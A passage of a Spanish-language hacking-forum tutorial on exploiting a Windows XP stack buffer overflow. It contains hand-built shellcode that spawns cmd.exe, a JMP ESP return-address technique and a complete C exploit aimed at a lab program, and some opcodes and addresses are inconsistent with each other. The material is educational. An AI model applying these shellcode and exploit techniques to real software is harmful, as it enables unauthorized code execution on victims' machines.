Un bonito overflow de pila, normal y corriente :)

-== PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-

Bien, y todo esto para que nos sirve?

Bueno, y si hubiramos sobrescrito la direccin del retorno de main con la 
direccin de un cdigo que nos fuera provechoso? Ese cdigo provechoso es 
nuestra shellcode :)

Si conseguimos que el programa salte a donde nosotros queramos, donde este 
nuestra shellcode, podremos ejecutar CUALQUIER cdigo (funciones, etc... 
cualquier cosa, aunque mientras mas complicada, mas grande ser la shellcode, 
y hay que tener en cuenta el tamao del buffer...). Una shellcode puede ejecutar 
cualquier cosa, tanto en Windows, como en Linux y derivados.

Y donde metemos nuestra shellcode???? (ahora lo veremos) Y mas importante aun... 
COMO LA HACEMOS?

Una shellcode se hace en ensamblador, en ASM. No es tan difcil como parece :) 
Tratare de explicar como codear una pequea y simple shellcode que ejecute una 
shell cmd.

Bien, antes de nada, aqu es ms que recomendable tener el Visual C++ 6.0.

Bsicamente, lo que queremos es convertir esta funcin C, en un cdigo ASM, y 
posteriormente, ese cdigo convertirlo en hexadecimal, y pasrselo al programa 
como parmetro, pero ya entraremos en eso.

system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell 
MSDOS.

Tambin podamos haber usado WinExec() en vez de system, o incluso 
CreateProcess() eso se lo dejamos a cada uno que pruebe :)

Bien, como ya he dicho, llamar a system, como una funcin cualquiera, en ASM, 
seria as:

push 0  --> en realidad, system se llama as: system("cmd.exe0"), con un null 
(0) para delimitar el final de la cadena "cmd.exe"
push direccin_cadena_cmd  --> system realmente se llama as:  system(direccin 
del comando)
call system --> offset de system en la msvcrt.dll


Bien, tenemos que conseguir 3 cosas:

1- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadena
de cmd.exe--> "cmd.exe\00". Esto nos puede acarrear problemas con strcpy, si 
strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena. 
Cualquier funcin que trabaje con cadenas, un 0, un 0x00, un \x00 lo interpreta 
como fin de cadena (aunque luego haya mas cosas, las ignora)

2- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push 
'.', etc...), y luego saber su direccin en la propia pila, para pasrsela a 
System() como argumento.

3- Necesitamos la direccin de la funcin System() en la DLL msvcrt.dll

As que iremos punto por punto para hacer nuestra shellcode bsica :)


-== COMO HACER UNA SHELLCODE BASICA ==-

1 El tema del nulo (null)

Pongamos este ejemplo, en codigo C:

char buffer[10]; //declaramos un array de 10bytes
char cadena[10]= "lola\0wop";  //declaramos otro que contiene ese string.

strcpy (buffer, cadena)  // copiamos cadena dentro de buffer.

Strcpy() solo copiara "lola" en buffer, ya que ha detectado un \0 (NULL), que 
significa FIN DE CADENA.

As que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos 
de carro (0x0D), as como "mas cosas" segn lo que acepte el programa 
vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows 
muy largo tendr la dificultad que la shellcode no podr contener caracteres que 
Windows no permite en los nombres de fichero, por ejemplo.

Como la hacemos para que no haya nulos en los opcodes, pero si en la pila?

Muy fcil, usando la funcin XOR (OR exclusivo).

Cuando a un valor se le hace un XOR consigo mismo, da 0. Si quereis mas 
informacin sobre XOR (y sus diversas funciones respecto a una shellcode, muy 
interesantes, como al encriptacin XOR que se empezo a usar en virus...) google 
:)

xor edi,edi  <-- He usado EDI por ejemplo...  EDI ser igual a 00000000.
push edi <--- Metemos 00000000 en la pila

Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en 
hexadecimal no contienen ningn 0 en hexadecimal, perfecto :)

2- Necesitamos meter "cmd.exe" en la pila y saber la direccin del inicio de la 
cadena "cmd.exe" en la pila.

sub esp,04h  <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba", 
dejndonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes)

mov byte ptr [ebp-08h],63h  <-- Mete 'c' en hexadecimal en ebp-8bytes
mov byte ptr [ebp-07h],6Dh  <-- Mete 'm' en ebp -7
mov byte ptr [ebp-06h],64h  <-- Mete 'd' en ebp -6
mov byte ptr [ebp-05h],2Eh  <-- Mete '.' en ebp -5
mov byte ptr [ebp-04h],65h  <-- Mete 'e' en ebp -4
mov byte ptr [ebp-03h],78h  <-- Mete 'x' en ebp -3
mov byte ptr [ebp-02h],65h  <-- Mete 'e' en ebp -2

lea eax,[ebp-08h]  <--- cargamos en eax, la direccin (NO el valor) de ebp-08, 
que apunta a nuestra 'c', el inicio de cmd.exe
push eax  <-- Metemos la direccin de 'cmd.exe' en la pila

Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea 
bastante reutilizable. Las direcciones de la pila son muy variables, con lo que 
no conviene usar direcciones absolutas. De todas formas, alguna direccin 
absoluta usamos :P Ya lo veremos.....

Ya estn la cadena cmd.exe\00 en la pila, solo necesitamos la direccin de system()

3- direccin de System() en la DLL msvcrt.dll

Esta direccin (u offset) variara debido a la versin (Win2k, Win XP, etc..) as 
como a los service packs instalados, lenguaje del SO y cualquier otra cosa que 
modifique las DLLs del sistema (puede ocurrir que dos personas tengan el 
mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas). 
Se puede crear una shellcode (no es muy difcil, hay varios mtodos) que no se 
sirva de ninguna direccin "harcodeada" (es decir, direccin fija) pero no 
lo trataremos aqu ya que esto se alargara bastante, adems de que solo 
tratamos de crear una shellcode simple y que funcione. De todas formas, saber 
que la direccin de system (y de cualquier otra API) se puede sacar en tiempo de 
ejecucin, haciendo la shellcode completamente universal.

Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente 
creando por ejemplo un cdigo C donde se llame a system() y luego en el 
debugger, ver a donde apunta el Call msvcrt.system.

Pero, como soy vago :) He medio codeado un mini programa que te dice el offset 
de cualquier funcin en cualquier dll. 
Lo podis encontrar aqu:

http://foro.elhacker.net/index.php/topic,56137.0.html

Pero por si no lo queris buscar, os pongo el cdigo C:

#include <stdio.h>
#include <windows.h>
typedef VOID (*MYPROC)(LPTSTR); 

int main (int argc, char **argv) {
    char dll[100];
    char funcin[100];
    
    HINSTANCE libreria;    
    MYPROC procadd;

    printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la 
DLL,\n");
    printf ("y como segundo argumento la funcin dentro de esa DLL\n");
    printf ("Por ejemplo %s msvcrt.dll system\n\n", argv[0]);
    
    if (argc != 3){
        printf ("Introduce 2 argumentos como se explica mas arriba!!!\n");
        return 1;
        }
        
    memset(dll,0,sizeof(dll));
    memset(funcion,0,sizeof(funcion));
    
    memcpy (dll, argv[1], strlen(argv[1]));
    memcpy (funcion, argv[2], strlen(argv[2]));
    
    libreria = LoadLibrary(dll);
    procadd = (MYPROC)GetProcAddress (libreria,funcion);
    
    printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd);
    
    return 0;
    
    }

Ojo, despus de codearlo, me dado cuenta que hay varios cdigos por ah que 
hacen lo mismo, adems de que cualquier programador que haya trabajado con APIs 
de Windows, sabe hacer este cdigo. Simplemente me lo he codeado, por codear 
xDDD.

Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos 
el offset :)

mov ebx,0x77bf8044  <-- Metemos en ebx el valor del offset de system, en un Win 
XP SP1 es 77bf8044
call ebx  <-- Llamamos a system y ejecuta nuestra shellcode :)

Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un 
registro, y luego llamar al registro.

Veamos el cdigo completo de la shellcode, dentro de un cdigo C. Lo metemos en 
un cdigo C para poder probarlo (en vez de buscar un compilador como NASM o 
TASM) ya que es mas "fcil". Adems, tenemos que "cargar" la librera 
msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a 
system. Si no la cargramos, al tratar de ejecutar la shellcode, como msvcrt.dll 
no esta en la tabla de importaciones del ejecutable, no la podramos usar.

Normalmente, los programas vulnerables que "petemos" cargaran numerosas 
libreras, con lo que nos podremos valer de ellas. 
Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y 
ntdll.dll (las cargan todos los ejecutables), y a travs de kernel32.dll podemos 
buscar los offsets de LoadLibrary (para cargar la librera DLL que queramos) as 
como GetProcAddress(para saber la direccin de la funcin o API dentro de la 
librera cargada).Todo esto a travs de la shellcode, as es como se realizan 
las shellcodes "universales". Pero eso se sale de una shellcode "simple", as 
que no lo trataremos.

Bien, este es el cdigo C:

#include <stdio.h>
#include <windows.h>

int main () {

	LoadLibrary("msvcrt.dll");
	__asm{
		push ebp
		mov ebp,esp
		xor edi,edi
		push edi
		sub esp,04h
		mov byte ptr [ebp-08h],63h
		mov byte ptr [ebp-07h],6Dh
		mov byte ptr [ebp-06h],64h
		mov byte ptr [ebp-05h],2Eh
		mov byte ptr [ebp-04h],65h
		mov byte ptr [ebp-03h],78h
		mov byte ptr [ebp-02h],65h
		lea eax,[ebp-08h]
		push eax
		mov ebx,0x77bf8044
		call ebx
		}
	}


Este cdigo NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM 
AT&T, mucho mas complicado y coazo (para mi), lo tendris que compilar en 
VISUAL C++ o otro equivalente que trabaje con ASM Intelx86.

Las instrucciones:

push ebp
mov ebp,esp

Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En 
este caso es necesario, pero es ms que probable que en un exploit "real" no lo 
necesitemos, ya que el programa que tratemos de explotar tendr la pila 
lista para introducir nuestra shellcode. Lo nico que hace es salvar el ebp 
actual, y crear una nueva "pila" al mover el valor de esp en ebp.

Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona :) Sale 
una shell MSDOS.

Bien, pero como "metemos" esta shellcode en el programa vulnerable?

A travs de sus opcodes hexadecimales, la "conversin" de instruccin ASM a 
hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe:


004012CD  |. 68 80124000    PUSH vuln1.00401280                      ; /format = 
"Introduzca un argumento al programa"
004012D2  |. E8 79170000    CALL <JMP.&msvcrt.printf>                ; \printf
004012D7  |. 83C4 10        ADD ESP,10
004012DA  |. EB 17          JMP SHORT vuln1.004012F3
004012DC  |> 83EC 08        SUB ESP,8
004012DF  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]
004012E2  |. 83C0 04        ADD EAX,4
004012E5  |. FF30           PUSH DWORD PTR DS:[EAX]                  ; /src
004012E7  |. 8D45 B8        LEA EAX,DWORD PTR SS:[EBP-48]            ; |
004012EA  |. 50             PUSH EAX                                 ; |dest
004012EB  |. E8 50170000    CALL <JMP.&msvcrt.strcpy>                ; \strcpy
004012F0  |. 83C4 10        ADD ESP,10

Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB 
ESP,8 es '83EC 08'.

Para ver los opcodes de nuestra shellcode hay varios mtodos, pero vamos, lo mas 
fcil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta 
(al menos as lo hago yo con shellcodes cortas :P). Se explican en numerosos 
documentos (entre ellos, en documentos de ezines espaolas muy recomendables de 
leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que 
lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo 
lo har a mano :)

Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son 
instrucciones que aade el compilador para que funcione perfectamente, 
compatibilidad msdos, control bsico de errores, etc..... Si queremos buscar 
nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras...

Yo la que he usado, mas cmoda, es mirar la tabla de string references, la tabla 
donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una 
cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me 
lleva directamente al cdigo del LoadLibrary ("msvcrt.dll"). Para ver las string 
references, clik botn derecho, Search for -> All refenced strings. Abajo del 
todo (en mi caso) estaba msvcrt.dll.

Tambin podemos hacerlo buscando una instruccin de nuestra shellcode (por 
ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso 
(algo lento :P).

Bueno, vamos al cdigo (al hacer lo de string references):

0040B4DA  |. 68 3CFF4100    PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName 
= "msvcrt.dll"
0040B4DF  |. FF15 5C414200  CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; 
\LoadLibraryA
0040B4E5  |. 3BF4           CMP ESI,ESP
0040B4E7  |. E8 845BFFFF    CALL pruebash.__chkesp
0040B4EC  |. 55             PUSH EBP         <---- Aqu empieza nuestra 
shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:[EBP-8],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:[EBP-7],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:[EBP-6],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:[EBP-5],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:[EBP-4],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:[EBP-3],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:[EBP-2],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX         <--- Aqui acaba nuestra shellcode
0040B51C  |. 5F             POP EDI
0040B51D  |. 5E             POP ESI
0040B51E  |. 5B             POP EBX
0040B51F  |. 83C4 40        ADD ESP,40
0040B522  |. 3BEC           CMP EBP,ESP
0040B524  |. E8 475BFFFF    CALL pruebash.__chkesp
0040B529  |. 8BE5           MOV ESP,EBP
0040B52B  |. 5D             POP EBP
0040B52C  \. C3             RETN



"Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y 
vemos que el compilador ha aadido instrucciones por debajo y por arriba (lo 
dicho, compatibilidad, control de excepciones, salida del programa, etc..), 
pero no nos importa. Aqu esta la shellcode:

0040B4EC  |. 55             PUSH EBP  <---- Aqu empieza nuestra shellcode
0040B4ED  |. 8BEC           MOV EBP,ESP
0040B4EF  |. 33FF           XOR EDI,EDI
0040B4F1  |. 57             PUSH EDI
0040B4F2  |. 83EC 04        SUB ESP,4
0040B4F5  |. C645 F8 63     MOV BYTE PTR SS:[EBP-8],63
0040B4F9  |. C645 F9 6D     MOV BYTE PTR SS:[EBP-7],6D
0040B4FD  |. C645 FA 64     MOV BYTE PTR SS:[EBP-6],64
0040B501  |. C645 FB 2E     MOV BYTE PTR SS:[EBP-5],2E
0040B505  |. C645 FC 65     MOV BYTE PTR SS:[EBP-4],65
0040B509  |. C645 FD 78     MOV BYTE PTR SS:[EBP-3],78
0040B50D  |. C645 FE 65     MOV BYTE PTR SS:[EBP-2],65
0040B511  |. 8D45 F8        LEA EAX,DWORD PTR SS:[EBP-8]
0040B514  |. 50             PUSH EAX
0040B515  |. BB 4480BF77    MOV EBX,77BF8044
0040B51A  |. FFD3           CALL EBX  <--- Aqui acaba nuestra shellcode

Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un 
archivo de texto, o usamos algun programa que nos la printee por pantalla.

Deberamos tener algo as:

55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF 
D3

Estos son los opcodes. Si os fijis, veris que esta la direccin del offset de 
System() (77BF8044) pero AL REVES. 
Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD, 
etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en 
casa, nos manejaremos en Little Endian a la hora de direcciones y offsets. 
Simplemente, para no enrollarme, al meter un offset, lo tenis que meter "al 
revs". Si queris mas informacin, google -> little endian :)

Bien, tenemos los opcodes de nuestra shellcode :). Sabemos que por ejemplo A = 
41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o 
6Dh = m, pero hay otros que estn fuera de la tabla ASCII, y adems, meter as 
los opcodes es un coazo, y que nadie lo hace xD.

Pero... como sabemos la direccin del inicio de la shellcode para poder 
sobrescribir EIP con su valor? Como haremos para que el programa funcione 
siempre si las direcciones de la pila varan? Y como le pasamos al programa 
vulnerable la shellcode?

-== CREANDO EL EXPLOIT ==-

Vamos a crear el exploit :)

- Como sabemos la direccin del inicio de la shellcode para sobrescribir EIP 
con su valor?

Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la 
direccin de la shellcode, usaremos una tcnica especial xDDDD. En vez de mandar 
al programa AAAAAAAAAAAAAAAs... a mogolln, le mandaremos AAAABBBBCCCCDDDD....

As sabremos donde exactamente sobrescribe el RET, para as poder cambiarlo por 
la direccin de la shellcode.

Si le metemos al programa esto (a travs del Olly, Arguments) AAABBBBCCCCDDDD...

Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro 
del buffer, donde debe ir la direccin de la shellcode que "cojera" EIP y 
ejecutara nuestra shellcode.

- Como haremos que el programa funcione siempre si las direcciones de la pila 
varan?

Si metiramos directamente la direccin de la shellcode en la pila (una 
direccin del tipo 0022XXXX), tendramos 2 problemas: 
La pila cambia muchsimo segn las aplicaciones que estn en ejecucin, y mas 
aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio 
ordenador.

Y el otro problema, es que en la pila las direcciones contienen un 00 --> 
0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la direccin 
de la pila.

Pero si habis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de 
nuevo), fijaos en la pila cuando se produce la excepcin:

0022FF74   54545454   <- EIP ha tratado de ejecutar lo que hay en la direccin 
54545454 (EIP = 54545454)
0022FF78   55555555   <- ESP= 0022FF78
0022FF7C   56565656

Si os fijis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555. 
No os da una idea?

Si consiguiramos que EIP "saltara" a una direccin de memoria que contuviera un 
JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555 
tuviramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!!

Vamos paso a paso :)

En vez de 54545454 hay una direccin de una instruccin de un JMP ESP. EIP 
cogera esa direccin, ejecutara el JMP ESP, y "caera" donde apunta ESP, es 
decir, en 55555555, que lo cambiaramos por nuestra shellcode, por lo que se 
ejecutara.

Y como buscamos una direccin de un JMP ESP o un CALL ESP? En una DLL que cargue 
el programa vulnerable, con FINDJMP, un programita realmente til. Dicho 
programita, buscara en la DLL que le digamos, instrucciones referidas al 
registro que queramos. El findjmp lo encontrareis en el foro de elhacker.net :)

Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y 
ntdll.dll, aunque tambin podramos usar cualquier librera que cargara el 
programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el 
Ollydbg, y ver los EXECUTABLE MODULES, y ah vienen las DLLs que carga).

Si usramos el findjmp as:


Microsoft Windows XP [Versin 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp kernel32.dll esp

Scanning kernel32.dll for code useable with the esp register
0x77E81941      call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses

Vemos que solo hay una instruccin que use el registro ESP, y es un CALL ESP, 
preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su 
instruccin anterior, y eso nos puede fastidiar la shellcode....). 
Mejor buscamos un JMP ESP:

Microsoft Windows XP [Versin 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos>findjmp ntdll.dll esp

Scanning ntdll.dll for code useable with the esp register
0x77F7AC16      call esp
0x77F8980F      jmp esp
Finished Scanning ntdll.dll for code useable with the esp register
Found 2 usable addresses

Ya tenemos un JMP ESP en la librera ntdll.dll, en el offset 0x77F8980F.

Esto es en mi Windows XP SP1, el offset cambiara segn versiones del Windows, 
SP, lenguajes...

En Linux no se hace as, no se llama a un JMP ESP, si no que se usa, en la forma 
BSICA de explotacin, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente 
pasan a la siguiente instruccin), offsets aproximados de direcciones de la 
pila, y un bruteforce... Eso, si hay ganas, se har otro manual, pero para 
explotacin en sistemas Linux si que hay mucha mas documentacin, y en espaol 
incluso.

- Como le pasamos al programa la shellcode

Ya tenemos la direccin del JMP ESP, es decir, sabemos con que valor tenemos que 
sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente 
enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer)
+ offset JMP ESP + shellcode.

Como lo hacemos?

El programa vulnerable recibe los datos que hacen el overflow a travs de la 
lnea de comandos, de sus argumentos. 
Podramos pasarle la shellcode en caracteres printeables por los argumentos, 
pero eso es un coazo, porque primero tendramos que convertir esos opcodes a su 
equivalente en la tabla ASCII (algunos no estn :P) y luego copy paste... no no, 
mejor que no.

Mejor nos codeamos un "exploit" en C, que llamara al programa pasndole los 
datos de la shellcode por parmetro, as nos libramos de convertir los opcodes. 
De todas formas, en el programa incluir un printf() para que veis como son.

/* exploit_vuln1.c por Rojodos */

#include <stdio.h> // Entrada/Salida
#include <stdlib.h> // execv()

int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv

    char 
evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"
    "OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"
    
"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD"
    "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
    //Shellcode que ejecuta system("cmd.exe"), con la llamada a system 
harcodeada
    //en \x44\x80\xBF\x77 0x77BF9044
    
    char offset[]="\x0F\x98\xF8\x77"; // Offset jmp esp ntdll32.dll WinXP SP1 
Esp
       
    strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
    strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la 
shellcode
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

    
    argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
    argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de 
vuln1
    argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
    
    execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasndole evilbuffer como 
argumento
    }


Nota para los programadores :P  Tendra que haber creado una estructura de 
punteros para usarlo en el execv, pero me he valido de argv[] para no marear las 
cosas, por simplicidad. Espero que no me cuelgen por eso :P

Este exploit compila perfectamente en Dev Cpp, y *debera* compilar en cualquier 
otro compilador de Windows (y de Linux). La nica funcin que podra dar 
problemas es execv, pero en teora es compatible con Windows, no creo 
que haya ningn problema. No lo he probado en ms compiladores.

Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell 
MSDOS :)


Hemos explotado con xito el programa vuln1.exe, a travs del programa 
exploit_vuln1.exe. :P


Espero que os haya gustado el documento, y que os ayude a, primero, entender los 
stack overflows, y luego, a crear vuestros propios exploits bsicos. La mejor 
forma de aprender, aparte de leer docs y mas docs, es programando, programando y 
mas programando :)

Los dos exploits pblicos que he escrito, el del Winamp 5.08 Stack Overflow y el 
de Acrobat Reader 6.0.1 Stack Overflow estn basados en este documento. 
Cualquiera que lea y comprenda este documento, podra haber creado dichos 
exploits. As que como veis, no tiene ningn misterio :)

No dejis de practicar, y cualquier pregunta ser mejor que recibida en el foro 
de elhacker.net.

-== DOCUMENTACION ==-

Documentos importantes mucho mejor redactados y completos que el mo :P 
(exploits y stack overflows en Windows o shellcoding en general). Hay MUCHOS 
ms, pero estos son los que he considerado importantes :)

Gran Recopilacin de textos sobre el tema, por Griph:
http://foro.elhacker.net/index.php/topic,49765.0.html

Phrack. Win32 Buffer Overflows
http://www.phrack.org/phrack/55/P55-15

Phrack. Avances en Windows Shellcoding
http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt

NetSearch. Shellcodes + Overflows Win32 (1)
http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x03.txt

NetSearch. Shellcodes + Overflows Win32 (2)
http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x04.txt

Introduccin al shellcoding (Linux)
http://tigerteam.se/dl/papers/intro_to_shellcoding.pdf

Lastima de Phrack :(

Y por supuesto, buscar tanto por la web como por el foro de elhacker.net :)

Y si no, google!


-== AGRADECIMIENTOS ==-

Hecho para el foro de elhacker.net :)

http://foro.elhacker.net

An as, se permite la distribucin del texto en cualquier sitio web, pero
haciendo referencia en los crditos al autor, en este caso, yo, Rojodos.

Agradecimientos a todos los colaboradores y moderadores, y al administrador, 
aprendiendo cada da de ellos :)

A todos los espaoles que colaboran en la seguridad y el hacking, a NetSearch, 
7a69, SET, 29A, Cyruxnet, Hackxcrack, y a cualquier persona en el mundo que se 
interese y escriba sobre la seguridad informtica, que nos aporte lo que ha 
aprendido e investigado :)

Abstracto es mas tonto de lo que aparenta, que ya es decir xDDDDDDDDDDDDDD (no 
poda dejar de ponerlo xDD)

Y a ELLA, Ishtar :)

Rojodos - rojodos2[at]yahoo[dot]es 


_EOF_
